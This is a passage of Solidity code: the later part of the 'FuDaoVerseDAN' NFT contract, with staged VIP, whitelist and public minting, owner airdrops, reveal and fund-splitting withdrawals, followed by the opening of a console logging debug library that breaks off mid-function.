_name, string memory _symbol, string memory _initBaseURI, address _newOwner, address _signerAddress, address ogCollection ) ERC721(_name, _symbol) { setNotRevealedURI(_initBaseURI); signerAddress = _signerAddress; transferOwnership(_newOwner); OG = IERC721(ogCollection); } event VIPMint(address indexed to, uint256 tokenId); event WhitelistMint(address indexed to, uint256 tokenId); event PublicMint(address indexed to, uint256 mintAmount); event DevMint(uint256 count); event Airdrop(address indexed to, uint256 tokenId); /** * @notice Performs respective minting condition checks depending on stage of minting * @param tokenIds tokenIds of VIP Pass * @dev Stage 1: OG Mints, Free Claim for OG Pass Holders * @dev Each Pass can only be used once to claim * @dev Minter must be owner of OG pass to claim */ function vipMint(uint256[] memory tokenIds) public { require(!paused, "FuDaoVerseDAN: Contract is paused"); require(stage > 0, "FuDaoVerseDAN: Minting has not started"); for (uint256 i; i < tokenIds.length; i++) { require( OG.ownerOf(tokenIds[i]) == msg.sender, "FuDaoVerseDAN: Claimant is not the owner!" ); require( !isOGMinted[tokenIds[i]], "FuDaoVerseDAN: OG Token has already been used!" ); _vipMint(tokenIds[i]); } } function _vipMint(uint256 tokenId) internal { tokenSupply.increment(); _safeMint(msg.sender, tokenSupply.current()); isOGMinted[tokenId] = true; VIP_PASSES--; emit VIPMint(msg.sender, tokenSupply.current()); } /** * @notice VIP Whitelist Mint. VIPs are automatically whitelisted and can use their Mint pass to mint * @param _mintAmount Amount minted for vipWhitelistMint * @dev Stage 2: Presale Mints, VIP Automatically whitelisted * @dev 2 VIP Whitelist Mints at stage 2, another 2 VIP Whitelist Mints at stage 2.5 * @dev Minter must hold an OG pass to VIP Whitelist Mint */ function vipWhitelistMint(uint8 _mintAmount) public payable { require(!paused, "FuDaoVerseDAN: Contract is paused"); require(stage == 2, "FuDaoVerseDAN: Private Sale Closed!"); require( msg.value == _mintAmount * presaleSalePrice, "FuDaoVerseDAN: Insufficient ETH!" ); require( tokenSupply.current() + _mintAmount <= presaleSupply, "FuDaoVerseDAN: Max Supply for Presale Mint Reached!" ); require( OG.balanceOf(msg.sender) > 0, "FuDaoVerseDAN: Claimant does not own a mint pass" ); require( presaleMintCount[msg.sender] + _mintAmount <= presaleMintMax, "FuDaoVerseDAN: Claimant has exceeded VIP Whitelist Mint Max!" ); presaleMintCount[msg.sender] += _mintAmount; for (uint8 i; i < _mintAmount; i++) { _vipWhitelistMint(); } } function _vipWhitelistMint() internal { tokenSupply.increment(); _safeMint(msg.sender, tokenSupply.current()); emit VIPMint(msg.sender, tokenSupply.current()); } /** * @notice Performs respective minting condition checks depending on stage of minting * @param _mintAmount Amount that is minted * @param nonce Random bytes32 nonce * @param signature Signature generated off-chain * @dev Stage 1: OG Mints, Free Claim for OG Pass Holders * @dev Each Pass can only be used once to claim */ function whitelistMint( uint8 _mintAmount, bytes memory signature, bytes memory nonce ) public payable { require(!paused, "FuDaoVerseDAN: Contract is paused"); require(stage == 2, "FuDaoVerseDAN: Private Sale Closed!"); require(!_nonceUsed[nonce], "FuDaoVerseDAN: Nonce already used"); _nonceUsed[nonce] = true; require( whitelistSigned(msg.sender, nonce, signature), "FuDaoVerseDAN: Invalid signature!" ); require( tokenSupply.current() + _mintAmount <= presaleSupply, "FuDaoVerseDAN: Max Supply for Presale Mint Reached!" ); require( msg.value == _mintAmount * presaleSalePrice, "FuDaoVerseDAN: Insufficient ETH!" ); require( presaleMintCount[msg.sender] + _mintAmount <= presaleMintMax, "FuDaoVerseDAN: Wallet has already minted Max Amount for Presale!" ); presaleMintCount[msg.sender] += _mintAmount; for (uint256 i; i < _mintAmount; i++) { tokenSupply.increment(); _safeMint(msg.sender, tokenSupply.current()); emit WhitelistMint(msg.sender, tokenSupply.current()); } } /** * @notice Public Mint * @param _mintAmount Amount that is minted * @dev Stage 3: Public Mint */ function publicMint(uint8 _mintAmount) public payable { require(!paused, "FuDaoVerseDAN: Contract is paused"); require(stage == 3, "FuDaoVerseDAN: Public Sale Closed!"); require( msg.value == _mintAmount * publicSalePrice, "FuDaoVerseDAN: Insufficient ETH!" ); require( tokenSupply.current() + _mintAmount <= totalSaleSupply - VIP_PASSES, "FuDaoVerseDAN: Max Supply for Public Mint Reached!" ); require( publicMintCount[msg.sender] + _mintAmount <= publicMintMax, "FuDaoVerseDAN: Wallet has already minted Max Amount for Public!" ); publicMintCount[msg.sender] += _mintAmount; // FIX: Gas Optimization for (uint256 i; i < _mintAmount; i++) { tokenSupply.increment(); _safeMint(msg.sender, tokenSupply.current()); emit PublicMint(msg.sender, tokenSupply.current()); } } /** * @dev Mints NFTS to the owner's wallet * @param _mintAmount Amount to mint */ function devMint(uint8 _mintAmount) public onlyOwner { require( tokenSupply.current() + _mintAmount <= totalSaleSupply, "FuDaoVerseDAN: Max Supply Reached!" ); for (uint256 i; i < _mintAmount; i++) { tokenSupply.increment(); _safeMint(msg.sender, tokenSupply.current()); } emit DevMint(_mintAmount); } /** * @dev Airdrops NFTs to the list of addresses provided * @param addresses List of airdrop recepients */ function airdrop(address[] memory addresses) public onlyOwner { require( tokenSupply.current() + addresses.length <= totalSaleSupply, "FuDaoVerseDAN: Max Supply Reached!" ); for (uint256 i; i < addresses.length; i++) { tokenSupply.increment(); _safeMint(addresses[i], tokenSupply.current()); emit Airdrop(addresses[i], tokenSupply.current()); } } /** * @dev Checks if the the signature is signed by a valid signer for whitelists * @param sender Address of minter * @param nonce Random bytes32 nonce * @param signature Signature generated off-chain */ function whitelistSigned( address sender, bytes memory nonce, bytes memory signature ) private view returns (bool) { bytes32 hash = keccak256(abi.encodePacked(sender, nonce)); return signerAddress == hash.recover(signature); } // ------------------------- VIEW FUNCTIONS ----------------------------- /** * @notice Returns metadata URI for sepecified token id * @param tokenId Token Id to retrieve metadata * @return Metadata URI */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), ".json" ) ) : ""; } /** * @notice Total NFTs Minted */ function totalSupply() public view returns (uint256) { return tokenSupply.current(); } // ------------------------- ADMIN FUNCTIONS ----------------------------- /** * @dev Set Mint Stage */ function setStage(uint8 _stage) public onlyOwner { require(stage < 4, "FuDaoVerseDAN: Exceeded maximum number of stages"); stage = _stage; } /** * @dev Set Revealed Metadata URI */ function setBaseURI(string memory _newBaseURI) public onlyOwner { require(!revealed); baseURI = _newBaseURI; } /** * @dev Set Presale maximum amount of mints */ function setPresaleMintMax(uint256 amount) public onlyOwner { presaleMintMax = amount; } /** * @dev Set the unrevealed URI * @param _notRevealedURI unrevealed URI for metadata */ function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } /** * @dev Set Revealed state of NFT metadata */ function reveal() public onlyOwner { revealed = true; } /** * @dev Switches pause state to `_state` * @param _state Pause State */ function pause(bool _state) public onlyOwner { paused = _state; } /** * @dev Emergency Function to withdraw any ETH deposited to this contract */ function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{ value: address(this).balance }(""); require(success); } /** * @dev requires currentBalance of contract to have some amount * @dev withdraws with the fixed define distribution */ function withdrawFund() public onlyOwner { uint256 currentBal = address(this).balance; require(currentBal > 0); for (uint256 i = 0; i < fundRecipients.length - 1; i++) { _withdraw( fundRecipients[i], (currentBal * receivePercentagePt[i]) / 10000 ); } //final address receives remainder to prevent ether dust _withdraw( fundRecipients[fundRecipients.length - 1], address(this).balance ); } /** * @dev private function utilized by withdrawFund * @param _addr Address of receiver * @param _amt Amount to withdraw */ function _withdraw(address _addr, uint256 _amt) private { (bool success, ) = _addr.call{value: _amt}(""); require(success, "Transfer failed"); } /** * @dev retrieve base URI internally */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal 